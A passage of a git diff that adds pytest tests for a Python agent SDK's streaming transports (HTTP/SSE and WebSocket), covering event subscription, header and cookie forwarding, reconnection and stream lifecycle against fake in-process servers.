TimeoutError, not a RuntimeError. + with pytest.raises(RuntimeError): + handle._result.result(timeout=2) + + +def test_interleave_projections_inflight_subgraph_finished_on_terminal(): + """A discovered subgraph child with no terminal tasks-result is force-completed.""" + from streaming._events import ( + lifecycle_completed_event, + lifecycle_started_event, + ) + + fake = SyncFakeServer() + fake.set_state({}) + fake.script( + [ + lifecycle_started_event(seq=0), + lifecycle_started_event(seq=1, namespace=["child"]), + # no tasks-result for the child: it is still "started" at run end + lifecycle_completed_event(seq=2), + ] + ) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + child = None + for _, handle in thread.interleave_projections(["subgraphs"]): + child = handle + assert child is not None + assert child.status == "completed" + + +@pytest.mark.parametrize("channel", ["lifecycle", "tools", "input"]) +def test_interleave_projections_rejects_reserved_channel(channel): + """Reserved protocol channel names raise instead of silently no-op'ing. + + `infer_channel` treats these as first-class methods, but they have no + interleave decoder, so routing them to the extension/`custom:` fallback + would subscribe to a channel that never matches and yield nothing. Fail + closed. (`updates`/`checkpoints`/`tasks` are supported and tested below.) + """ + from streaming._events import ( + lifecycle_completed_event, + lifecycle_started_event, + ) + + fake = SyncFakeServer() + fake.set_state({}) + fake.script([lifecycle_started_event(seq=0), lifecycle_completed_event(seq=1)]) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with ( + threads.stream(thread_id="t-1", assistant_id="agent") as thread, + pytest.raises(ValueError, match=channel), + ): + for _ in thread.interleave_projections([channel]): + pass + + +def test_interleave_projections_data_channels_yield_payloads(): + """`updates`/`checkpoints`/`tasks` yield their raw `params.data` payloads.""" + from streaming._events import ( + checkpoints_event, + lifecycle_completed_event, + lifecycle_started_event, + tasks_start_event, + updates_event, + ) + + fake = SyncFakeServer() + fake.set_state({}) + fake.script( + [ + lifecycle_started_event(seq=0), + updates_event(seq=1, node={"v": 1}), + checkpoints_event(seq=2, ts="t-0", v=4), + tasks_start_event(seq=3, task_id="task-9"), + lifecycle_completed_event(seq=4), + ] + ) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + items = list( + thread.interleave_projections(["updates", "checkpoints", "tasks"]) + ) + assert ("updates", {"node": {"v": 1}}) in items + assert ("checkpoints", {"ts": "t-0", "v": 4}) in items + assert any(ch == "tasks" and item.get("id") == "task-9" for ch, item in items) + + +def test_interleave_projections_data_channel_scoped_to_root_namespace(): + """A child-namespace checkpoint must not leak into a root interleave.""" + from streaming._events import ( + checkpoints_event, + lifecycle_completed_event, + lifecycle_started_event, + ) + + fake = SyncFakeServer() + fake.set_state({"counter": 0}) + fake.script( + [ + lifecycle_started_event(seq=0), + checkpoints_event(seq=1, namespace=["child"], scope="child"), + checkpoints_event(seq=2, scope="root"), + lifecycle_completed_event(seq=3), + ] + ) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + checkpoints = [ + item + for ch, item in thread.interleave_projections(["values", "checkpoints"]) + if ch == "checkpoints" + ] + assert {"scope": "root"} in checkpoints + assert {"scope": "child"} not in checkpoints diff --git a/libs/sdk-py/tests/streaming/test_sync_transport_http.py b/libs/sdk-py/tests/streaming/test_sync_transport_http.py new file mode 100644 index 0000000..8b9536b --- /dev/null +++ b/libs/sdk-py/tests/streaming/test_sync_transport_http.py @@ -0,0 +1,48 @@ +"""Sync HTTP/SSE transport tests.""" + +from __future__ import annotations + +import httpx +import pytest + +from langgraph_sdk.stream.transport.sync_http import SyncProtocolSseTransport +from streaming._events import values_event +from streaming._sync_fake_server import SyncFakeServer + + +def test_sync_transport_sends_command(): + fake = SyncFakeServer() + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + transport = SyncProtocolSseTransport(client=raw, thread_id="t-1") + result = transport.send_command( + {"id": 1, "method": "run.start", "params": {"assistant_id": "agent"}} + ) + + assert result == {"type": "success", "id": 1, "result": {"run_id": "run-1"}} + assert fake.received_commands[0]["method"] == "run.start" + + +def test_sync_transport_streams_events(): + fake = SyncFakeServer() + fake.script([values_event(seq=1, counter=1)]) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + transport = SyncProtocolSseTransport(client=raw, thread_id="t-1") + handle = transport.open_event_stream({"channels": ["values"]}) + events = list(handle.events) + + assert events == [values_event(seq=1, counter=1)] + assert fake.stream_request_bodies == [{"channels": ["values"]}] + + +def test_sync_open_event_stream_records_post_ready_error(): + fake = SyncFakeServer() + fake.script([values_event(seq=1)], fail_after=1) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + sse = SyncProtocolSseTransport(client=raw, thread_id="t-1") + handle = sse.open_event_stream({"channels": ["values"]}) + with pytest.raises(httpx.ReadError, match="scripted sync stream failure"): + list(handle.events) + err = handle.error() + handle.close() + + assert isinstance(err, httpx.ReadError) diff --git a/libs/sdk-py/tests/streaming/test_sync_transport_ws.py b/libs/sdk-py/tests/streaming/test_sync_transport_ws.py new file mode 100644 index 0000000..72584b3 --- /dev/null +++ b/libs/sdk-py/tests/streaming/test_sync_transport_ws.py @@ -0,0 +1,287 @@ +from __future__ import annotations + +from typing import Any + +import httpx +import orjson +import pytest + +from langgraph_sdk.stream.transport.sync_ws import SyncProtocolWebSocketTransport +from streaming._events import values_event + + +class _FakeSyncWebSocket: + def __init__( + self, + frames: list[dict[str, Any]], + *, + fail_after: int | None = None, + ) -> None: + self.frames = list(frames) + self.fail_after = fail_after + self.sent: list[str] = [] + self.closed = False + + def __enter__(self) -> _FakeSyncWebSocket: + return self + + def __exit__(self, exc_type: Any, exc: Any, tb: Any) -> None: + self.close() + + def send(self, data: str | bytes) -> None: + self.sent.append(data.decode() if isinstance(data, bytes) else data) + + def __iter__(self): + for index, frame in enumerate(self.frames, start=1): + yield orjson.dumps(frame).decode() + if self.fail_after is not None and index >= self.fail_after: + raise RuntimeError("scripted sync websocket failure") + + def close(self) -> None: + self.closed = True + + +def test_sync_websocket_sends_subscribe_body_and_yields_events(): + event = values_event(seq=1, values={"counter": 1}) + socket = _FakeSyncWebSocket([event]) + + def connect( + url: str, additional_headers: list[tuple[str, str]] | None = None, **_kw: Any + ): + _ = (url, additional_headers) + return socket + + with httpx.Client(base_url="http://test") as client: + transport = SyncProtocolWebSocketTransport( + client=client, + thread_id="t-1", + connect=connect, + ) + handle = transport.open_event_stream( + {"channels": ["values"], "namespaces": [[]], "since": 7} + ) + received = list(handle.events) + err = handle.error() + handle.close() + + assert orjson.loads(socket.sent[0]) == { + "id": 1, + "method": "subscription.subscribe", + "params": { + "channels": ["values"], + "namespaces": [[]], + "since": 7, + }, + } + assert received == [event] + assert err is None + + +def test_sync_websocket_records_post_ready_error(): + socket = _FakeSyncWebSocket([values_event(seq=1)], fail_after=1) + + def connect( + url: str, additional_headers: list[tuple[str, str]] | None = None, **_kw: Any + ): + _ = (url, additional_headers) + return socket + + with httpx.Client(base_url="http://test") as client: + transport = SyncProtocolWebSocketTransport( + client=client, + thread_id="t-1", + connect=connect, + ) + handle = transport.open_event_stream({"channels": ["values"]}) + with pytest.raises(RuntimeError, match="scripted sync websocket failure"): + list(handle.events) + err = handle.error() + handle.close() + + assert isinstance(err, RuntimeError) + + +def test_sync_websocket_send_command_uses_http_commands_endpoint(): + from streaming._sync_fake_server import SyncFakeServer + + fake = SyncFakeServer() + with httpx.Client(transport=fake.transport, base_url="http://test") as client: + ws = SyncProtocolWebSocketTransport(client=client, thread_id="t-1") + result = ws.send_command( + {"id": 3, "method": "run.start", "params": {"input": {"x": 1}}} + ) + + assert result == {"type": "success", "id": 3, "result": {"run_id": "run-1"}} + assert fake.received_commands[0]["method"] == "run.start" + + +def test_sync_websocket_open_event_stream_raises_when_closed(): + with httpx.Client(base_url="http://test") as client: + ws = SyncProtocolWebSocketTransport(client=client, thread_id="t-1") + ws.close() + with pytest.raises(RuntimeError, match="closed"): + ws.open_event_stream({"channels": ["values"]}) + + +def test_sync_websocket_transport_feeds_sync_stream_controller(): + from langgraph_sdk.stream.sync_controller import SyncStreamController + + socket = _FakeSyncWebSocket( + [ + values_event(seq=1, values={"counter": 1}), + values_event(seq=2, values={"counter": 2}), + ] + ) + + def connect( + url: str, additional_headers: list[tuple[str, str]] | None = None, **_kw: Any + ): + _ = (url, additional_headers) + return socket + + with httpx.Client(base_url="http://test") as client: + transport = SyncProtocolWebSocketTransport( + client=client, + thread_id="t-1", + connect=connect, + ) + controller = SyncStreamController(transport) + sub = controller.register_subscription({"channels": ["values"]}) + controller.reconcile_stream({"channels": ["values"]}) + controller.ensure_fanout_running() + + first = sub.queue.get(timeout=1.0) + second = sub.queue.get(timeout=1.0) + end = sub.queue.get(timeout=1.0) + controller.close() + transport.close() + + assert first is not None + assert second is not None + assert first["seq"] == 1 + assert second["seq"] == 2 + assert end is None + + +def test_sync_websocket_controller_reconnects_with_since_after_drop(): + from langgraph_sdk.stream.sync_controller import SyncStreamController + + first_socket = _FakeSyncWebSocket( + [values_event(seq=1, values={"counter": 1})], + fail_after=1, + ) + second_socket = _FakeSyncWebSocket([values_event(seq=2, values={"counter": 2})]) + sockets = [first_socket, second_socket] + + def connect( + url: str, additional_headers: list[tuple[str, str]] | None = None, **_kw: Any + ): + _ = (url, additional_headers) + return sockets.pop(0) + + with httpx.Client(base_url="http://test") as client: + transport = SyncProtocolWebSocketTransport( + client=client, + thread_id="t-1", + connect=connect, + ) + controller = SyncStreamController(transport) + sub = controller.register_subscription({"channels": ["values"]}) + controller.reconcile_stream({"channels": ["values"]}) + controller.ensure_fanout_running() + + first = sub.queue.get(timeout=1.0) + second = sub.queue.get(timeout=1.0) + end = sub.queue.get(timeout=1.0) + controller.close() + transport.close() + + assert first is not None + assert second is not None + assert first["seq"] == 1 + assert second["seq"] == 2 + assert end is None + assert orjson.loads(second_socket.sent[0])["params"]["since"] == 1 + + +def test_sync_ws_transport_forwards_ping_kwargs(): + """ping_interval and ping_timeout are stored and forwarded to the connect callable.""" + captured_kwargs: list[dict] = [] + socket = _FakeSyncWebSocket([values_event(seq=1)]) + + def connect( + url: str, + additional_headers: list[tuple[str, str]] | None = None, + **kwargs: Any, + ) -> Any: + _ = (url, additional_headers) + captured_kwargs.append(kwargs) + return socket + + with httpx.Client(base_url="http://test") as client: + transport = SyncProtocolWebSocketTransport( + client=client, + thread_id="t-1", + connect=connect, + ping_interval=15.0, + ping_timeout=20.0, + ) + assert transport._ping_interval == 15.0 + assert transport._ping_timeout == 20.0 + handle = transport.open_event_stream({"channels": ["values"]}) + list(handle.events) + handle.close() + + assert len(captured_kwargs) == 1 + assert captured_kwargs[0].get("ping_interval") == 15.0 + assert captured_kwargs[0].get("ping_timeout") == 20.0 + + +def test_sync_ws_handshake_forwards_httpx_client_cookies(): + """Cookies on the httpx.Client are forwarded to the WS handshake.""" + captured_headers: list[list[tuple[str, str]]] = [] + socket = _FakeSyncWebSocket([values_event(seq=1)]) + + def connect( + url: str, additional_headers: list[tuple[str, str]] | None = None, **_kw: Any + ): + _ = url + captured_headers.append(list(additional_headers or [])) + return socket + + with httpx.Client(base_url="http://test") as client: + client.cookies.set("session", "abc123") + transport = SyncProtocolWebSocketTransport( + client=client, thread_id="t-1", connect=connect + ) + handle = transport.open_event_stream({"channels": ["values"]}) + list(handle.events) + handle.close() + + assert len(captured_headers) == 1 + headers_dict = dict(captured_headers[0]) + assert "Cookie" in headers_dict + assert "session=abc123" in headers_dict["Cookie"] + + +def test_sync_close_before_iteration_closes_socket(): + """Calling `handle.close()` before iterating events must close the socket.""" + connect_calls: list[str] = [] + socket = _FakeSyncWebSocket([values_event(seq=1)]) + + def connect( + url: str, additional_headers: list[tuple[str, str]] | None = None, **_kw: Any + ): + _ = (url, additional_headers) + connect_calls.append(url) + return socket + + with httpx.Client(base_url="http://test") as client: + transport = SyncProtocolWebSocketTransport( + client=client, thread_id="t-1", connect=connect + ) + handle = transport.open_event_stream({"channels": ["values"]}) + # Close without consuming any events. + handle.close() + + assert socket.closed diff --git a/libs/sdk-py/tests/streaming/test_thread_stream.py b/libs/sdk-py/tests/streaming/test_thread_stream.py new file mode 100644 index 0000000..eb71b3d --- /dev/null +++ b/libs/sdk-py/tests/streaming/test_thread_stream.py @@ -0,0 +1,1233 @@ +from __future__ import annotations + +import asyncio +import contextlib +import re +import uuid +from typing import Any + +import httpx +import pytest + +from langgraph_sdk._async.http import HttpClient +from langgraph_sdk._async.stream import AsyncThreadStream +from langgraph_sdk._async.threads import ThreadsClient +from langgraph_sdk.stream.transport import ( + ProtocolSseTransport, + ProtocolWebSocketTransport, +) +from streaming._events import ( + checkpoints_event, + custom_event, + lifecycle_completed_event, + lifecycle_event, + lifecycle_started_event, + message_finish_event, + message_start_event, + tasks_start_event, + tool_finished_event, + tool_started_event, + updates_event, + values_event, +) +from streaming._fake_server import FakeServer + + +async def test_thread_agent_get_tree_fetches_assistant_graph(): + fake = FakeServer() + fake.set_graph( + { + "nodes": [{"id": "agent", "type": "runnable", "data": {"name": "agent"}}], + "edges": [{"source": "agent", "target": "__end__"}], + } + ) + transport = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=transport, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream( + thread_id="t-1", + assistant_id="agent", + headers={"X-Custom-Header": "my-value"}, + ) as thread: + graph = await thread.agent.get_tree(xray=True) + + assert graph["nodes"][0]["id"] == "agent" + assert graph["edges"] == [{"source": "agent", "target": "__end__"}] + assert fake.graph_request_params == [{"xray": "true"}] + assert fake.graph_request_headers[0].get("x-custom-header") == "my-value" + + +async def test_thread_agent_get_tree_raises_after_close(): + async with httpx.AsyncClient(base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + stream = threads.stream(thread_id="t-1", assistant_id="agent") + await stream.close() + with pytest.raises(RuntimeError, match="closed"): + await stream.agent.get_tree() + + +async def test_extensions_projection_empty_name_raises(): + async with httpx.AsyncClient(base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + stream = threads.stream(thread_id="t-1", assistant_id="agent") + with pytest.raises(ValueError, match="non-empty"): + stream.extensions[""] + + +async def test_extensions_projection_closed_stream_yields_nothing(): + async with httpx.AsyncClient(base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + # Enter and immediately exit so _controller is set but _closed is True. + async with threads.stream(thread_id="t-1", assistant_id="agent") as stream: + pass + payloads = [p async for p in stream.extensions["progress"]] + assert payloads == [] + + +async def test_thread_stream_stores_thread_id_and_assistant_id(): + async with httpx.AsyncClient(base_url="http://test") as client: + stream = AsyncThreadStream( + http=HttpClient(client), + thread_id="t-1", + assistant_id="agent", + ) + assert stream.thread_id == "t-1" + assert stream.assistant_id == "agent" + + +async def test_aenter_returns_self(): + async with httpx.AsyncClient(base_url="http://test") as client: + stream = AsyncThreadStream( + http=HttpClient(client), thread_id="t-1", assistant_id="agent" + ) + async with stream as entered: + assert entered is stream + + +async def test_aexit_marks_closed(): + async with httpx.AsyncClient(base_url="http://test") as client: + stream = AsyncThreadStream( + http=HttpClient(client), thread_id="t-1", assistant_id="agent" + ) + async with stream: + assert stream._closed is False + assert stream._closed is True + + +async def test_close_is_idempotent(): + async with httpx.AsyncClient(base_url="http://test") as client: + stream = AsyncThreadStream( + http=HttpClient(client), thread_id="t-1", assistant_id="agent" + ) + await stream.close() + await stream.close() # must not raise + assert stream._closed is True + + +async def test_threads_stream_returns_async_thread_stream_with_explicit_id(): + async with httpx.AsyncClient(base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + stream = threads.stream(thread_id="my-thread", assistant_id="agent") + assert stream.thread_id == "my-thread" + assert stream.assistant_id == "agent" + + +async def test_threads_stream_mints_uuid4_when_thread_id_none(): + async with httpx.AsyncClient(base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + stream = threads.stream(assistant_id="agent") + # uuid4 format: 8-4-4-4-12 hex + assert re.fullmatch( + r"[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + stream.thread_id, + ) + # And it's actually parseable as a v4 UUID. + assert uuid.UUID(stream.thread_id).version == 4 + + +async def test_threads_stream_requires_assistant_id(): + async with httpx.AsyncClient(base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + with pytest.raises(TypeError): + threads.stream(thread_id="t-1") # ty: ignore[missing-argument] + + +async def test_threads_stream_headers_forwarded_to_commands(): + """Headers passed to `threads.stream()` are forwarded to /commands requests.""" + fake = FakeServer() + transport = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=transport, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream( + thread_id="t-1", + assistant_id="agent", + headers={"X-Custom-Header": "my-value"}, + ) as thread: + await thread.run.start(input={}) + assert fake.command_request_headers, "no command requests captured" + assert fake.command_request_headers[0].get("x-custom-header") == "my-value" + + +async def test_threads_stream_headers_forwarded_to_stream_events(): + """Headers passed to `threads.stream()` are forwarded to /stream/events requests.""" + fake = FakeServer() + fake.script([lifecycle_event(seq=0)]) + transport = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=transport, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream( + thread_id="t-1", + assistant_id="agent", + headers={"X-Custom-Header": "my-value"}, + ) as thread: + await thread.run.start(input={}) + _ = [e async for e in thread.subscribe(["lifecycle"])] + assert fake.stream_request_headers_list, "no stream/events requests captured" + assert fake.stream_request_headers_list[0].get("x-custom-header") == "my-value" + + +async def test_no_headers_by_default(): + """When `headers` is omitted, `_headers` is an empty dict and no custom + headers appear in command or stream requests. + """ + fake = FakeServer() + fake.script([lifecycle_event(seq=0)]) + transport = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=transport, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + assert thread._headers == {} + await thread.run.start(input={}) + _ = [e async for e in thread.subscribe(["lifecycle"])] + # No custom header keys beyond the protocol-required / transport-required ones. + protocol_keys = { + "content-type", + "accept", + "cache-control", + "host", + "user-agent", + "accept-encoding", + "connection", + "transfer-encoding", + "content-length", + } + extra_command = { + k for k in fake.command_request_headers[0] if k.lower() not in protocol_keys + } + extra_stream = { + k for k in fake.stream_request_headers_list[0] if k.lower() not in protocol_keys + } + assert extra_command == set(), f"unexpected command headers: {extra_command}" + assert extra_stream == set(), f"unexpected stream headers: {extra_stream}" + + +async def test_aenter_constructs_transport_with_thread_id(): + fake = FakeServer() + transport = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=transport, base_url="http://test") as raw: + from langgraph_sdk._async.http import HttpClient + from langgraph_sdk._async.threads import ThreadsClient + + threads = ThreadsClient(HttpClient(raw)) + stream = threads.stream(thread_id="t-1", assistant_id="agent") + async with stream: + assert stream._transport is not None + assert stream._transport.thread_id == "t-1" + + +async def test_aenter_selects_websocket_transport(): + async with httpx.AsyncClient(base_url="http://test") as raw: + from langgraph_sdk._async.http import HttpClient + from langgraph_sdk._async.threads import ThreadsClient + + threads = ThreadsClient(HttpClient(raw)) + stream = threads.stream( + thread_id="t-1", assistant_id="agent", transport="websocket" + ) + async with stream: + assert isinstance(stream._transport, ProtocolWebSocketTransport) + + +async def test_aexit_closes_transport(): + fake = FakeServer() + transport = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=transport, base_url="http://test") as raw: + from langgraph_sdk._async.http import HttpClient + from langgraph_sdk._async.threads import ThreadsClient + + threads = ThreadsClient(HttpClient(raw)) + stream = threads.stream(thread_id="t-1", assistant_id="agent") + async with stream: + inner_transport = stream._transport + assert inner_transport is not None + assert isinstance(inner_transport, ProtocolSseTransport) + assert inner_transport._closed is True + + +async def test_run_start_sends_command_with_assistant_id(): + fake = FakeServer() + transport = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=transport, base_url="http://test") as raw: + from langgraph_sdk._async.http import HttpClient + from langgraph_sdk._async.threads import ThreadsClient + + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + result = await thread.run.start(input={"x": 1}) + assert result == {"run_id": "run-1"} + command = fake.received_commands[0] + assert command["method"] == "run.start" + assert command["params"]["assistant_id"] == "agent" + assert command["params"]["input"] == {"x": 1} + assert command["id"] == 1 + + +async def test_command_ids_are_monotonic(): + fake = FakeServer() + transport = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=transport, base_url="http://test") as raw: + from langgraph_sdk._async.http import HttpClient + from langgraph_sdk._async.threads import ThreadsClient + + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={"x": 1}) + await thread.run.start(input={"x": 2}) + assert [c["id"] for c in fake.received_commands] == [1, 2] + + +async def test_run_start_forwards_config_and_metadata(): + fake = FakeServer() + transport = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=transport, base_url="http://test") as raw: + from langgraph_sdk._async.http import HttpClient + from langgraph_sdk._async.threads import ThreadsClient + + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start( + input={"x": 1}, + config={"recursion_limit": 5}, + metadata={"trace": "abc"}, + ) + params = fake.received_commands[0]["params"] + assert params["config"] == {"recursion_limit": 5} + assert params["metadata"] == {"trace": "abc"} + + +async def test_run_start_raises_outside_context_manager(): + import pytest + + async with httpx.AsyncClient(base_url="http://test") as raw: + stream = AsyncThreadStream( + http=HttpClient(raw), thread_id="t-1", assistant_id="agent" + ) + with pytest.raises(RuntimeError, match="async with"): + await stream.run.start(input={"x": 1}) + + +async def test_run_start_raises_on_error_envelope(): + from starlette.applications import Starlette + from starlette.responses import JSONResponse + from starlette.routing import Route + + async def commands(_request): + return JSONResponse( + { + "type": "error", + "id": 1, + "error": "invalid_argument", + "message": "run.start requires an assistant_id.", + } + ) + + app = Starlette( + routes=[Route("/threads/{thread_id}/commands", commands, methods=["POST"])] + ) + transport = httpx.ASGITransport(app=app) + async with httpx.AsyncClient(transport=transport, base_url="http://test") as raw: + import pytest + + from langgraph_sdk._async.http import HttpClient + from langgraph_sdk._async.threads import ThreadsClient + + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + with pytest.raises(RuntimeError, match="invalid_argument"): + await thread.run.start(input={"x": 1}) + + +async def test_events_yields_raw_events_after_run_start(): + fake = FakeServer() + fake.script( + [ + lifecycle_event(seq=0), + values_event(seq=1), + ] + ) + transport = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=transport, base_url="http://test") as raw: + from langgraph_sdk._async.http import HttpClient + from langgraph_sdk._async.threads import ThreadsClient + + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + received = [e async for e in thread.events] + methods = [e["method"] for e in received] + assert methods == ["lifecycle", "values"] + + +async def test_events_subscribes_to_all_channels(): + fake = FakeServer() + fake.script([]) + transport = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=transport, base_url="http://test") as raw: + from langgraph_sdk._async.http import HttpClient + from langgraph_sdk._async.threads import ThreadsClient + + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + _ = [e async for e in thread.events] + body = fake.stream_request_bodies[0] + assert set(body["channels"]) == { + "values", + "updates", + "messages", + "tools", + "lifecycle", + "input", + "checkpoints", + "tasks", + "custom", + } + + +async def test_events_terminates_on_aexit(): + import asyncio + + import pytest + + fake = FakeServer() + fake.script([lifecycle_event(seq=i) for i in range(5)]) + transport = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=transport, base_url="http://test") as raw: + from langgraph_sdk._async.http import HttpClient + from langgraph_sdk._async.threads import ThreadsClient + + threads = ThreadsClient(HttpClient(raw)) + stream = threads.stream(thread_id="t-1", assistant_id="agent") + async with stream as thread: + await thread.run.start(input={}) + handle_events = thread.events + # After __aexit__, further iteration must terminate cleanly. + with pytest.raises(StopAsyncIteration): + await asyncio.wait_for(handle_events.__anext__(), timeout=1.0) + + +async def test_events_raises_outside_context_manager(): + async with httpx.AsyncClient(base_url="http://test") as raw: + stream = AsyncThreadStream( + http=HttpClient(raw), thread_id="t-1", assistant_id="agent" + ) + with pytest.raises(RuntimeError, match="async with"): + _ = stream.events + + +async def test_aexit_preserves_original_exception_if_close_raises(): + """If the body of `async with` raises, AND close() also raises, the + body's exception must propagate. close()'s error is suppressed (chained + as context on close_err, but does not replace the original).""" + async with httpx.AsyncClient(base_url="http://test") as raw: + thread = AsyncThreadStream( + http=HttpClient(raw), thread_id="t-1", assistant_id="agent" + ) + + async def failing_close(): + raise RuntimeError("close failed") + + thread.close = failing_close # ty:ignore[invalid-assignment] + + with pytest.raises(ValueError, match="original"): + async with thread: + raise ValueError("original") + + +async def test_events_property_returns_fresh_iterator_each_access(): + """Two separate accesses of `thread.events` must return independent + subscriptions — the second access should produce a fresh iterator, + even if both are accessed before either is drained.""" + fake = FakeServer() + fake.script([]) + transport = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=transport, base_url="http://test") as raw: + from langgraph_sdk._async.http import HttpClient + from langgraph_sdk._async.threads import ThreadsClient + + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + first_iter = thread.events + second_iter = thread.events + # Each property access must return a distinct iterator object. + assert first_iter is not second_iter + + +async def test_fresh_thread_happy_path_end_to_end(): + """User passes no thread_id; SDK mints one and uses it in all URLs. + + Validates core surface end-to-end: + - uuid4 minted at client.threads.stream() + - run.start posted to /threads//commands + - events SSE opened at /threads//stream/events + - scripted events delivered to the user iterator + """ + fake = FakeServer() + fake.script([lifecycle_event(seq=0), values_event(seq=1)]) + + posted_paths: list[str] = [] + + class _PathSpyTransport(httpx.ASGITransport): + async def handle_async_request(self, request): + posted_paths.append(str(request.url.path)) + return await super().handle_async_request(request) + + spy = _PathSpyTransport(app=fake.app) + async with httpx.AsyncClient(transport=spy, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(assistant_id="agent") as thread: + assert uuid.UUID(thread.thread_id).version == 4 + result = await thread.run.start(input={"x": 1}) + assert result == {"run_id": "run-1"} + received = [e async for e in thread.events] + assert [e["method"] for e in received] == ["lifecycle", "values"] + # Both POSTs must include the minted thread_id in the path. + minted_id_paths = [p for p in posted_paths if thread.thread_id in p] + assert any(p.endswith("/commands") for p in minted_id_paths) + assert any(p.endswith("/stream/events") for p in minted_id_paths) + + +async def test_aenter_raises_after_close(): + async with httpx.AsyncClient(base_url="http://test") as raw: + stream = AsyncThreadStream( + http=HttpClient(raw), thread_id="t-1", assistant_id="agent" + ) + async with stream: + pass + # After exit, the stream is closed; re-entering must raise rather than + # silently constructing a new transport that would leak on the next exit. + with pytest.raises(RuntimeError, match="closed and cannot be re-entered"): + async with stream: + pass + + +async def test_register_subscription_assigns_monotonic_ids(): + async with httpx.AsyncClient(base_url="http://test") as raw: + stream = AsyncThreadStream( + http=HttpClient(raw), thread_id="t-1", assistant_id="agent" + ) + async with stream: + sub_a = stream._register_subscription({"channels": ["values"]}) + sub_b = stream._register_subscription({"channels": ["messages"]}) + assert sub_a.id == 1 + assert sub_b.id == 2 + assert stream._subscriptions[sub_a.id] is sub_a + assert stream._subscriptions[sub_b.id] is sub_b + + +async def test_unregister_subscription_removes_from_registry(): + async with httpx.AsyncClient(base_url="http://test") as raw: + stream = AsyncThreadStream( + http=HttpClient(raw), thread_id="t-1", assistant_id="agent" + ) + async with stream: + sub = stream._register_subscription({"channels": ["values"]}) + stream._unregister_subscription(sub.id) + assert sub.id not in stream._subscriptions + + +async def test_await_run_start_gate_honors_timeout(): + """Gate must raise asyncio.TimeoutError if run.start never completes + within the configured timeout.""" + import asyncio + + async with httpx.AsyncClient(base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + # Install a never-resolving gate to simulate an in-flight + # run.start that will not complete within the timeout window. + loop = asyncio.get_running_loop() + thread._run_start_ready = loop.create_future() + with pytest.raises(asyncio.TimeoutError): + await thread._await_run_start_gate(timeout=0.1) + # Gate must still be pending after the timeout (no side effects). + assert thread._run_start_ready is not None + assert not thread._run_start_ready.done() + + +async def test_await_run_start_gate_returns_when_gate_resolves_in_time(): + """With a generous timeout and a gate that resolves promptly, the + gate returns without raising.""" + import asyncio + + async with httpx.AsyncClient(base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + loop = asyncio.get_running_loop() + gate: asyncio.Future[None] = loop.create_future() + thread._run_start_ready = gate + loop.call_later(0.01, lambda: gate.set_result(None)) + await thread._await_run_start_gate(timeout=1.0) + + +async def test_run_start_timeout_constructor_kwarg_forwarded_to_gate(): + """`run_start_timeout` constructor kwarg is stored and consulted by + `_reconcile_stream` via `_await_run_start_gate`.""" + import asyncio + + async with httpx.AsyncClient(base_url="http://test") as raw: + stream = AsyncThreadStream( + http=HttpClient(raw), + thread_id="t-1", + assistant_id="agent", + run_start_timeout=0.1, + ) + 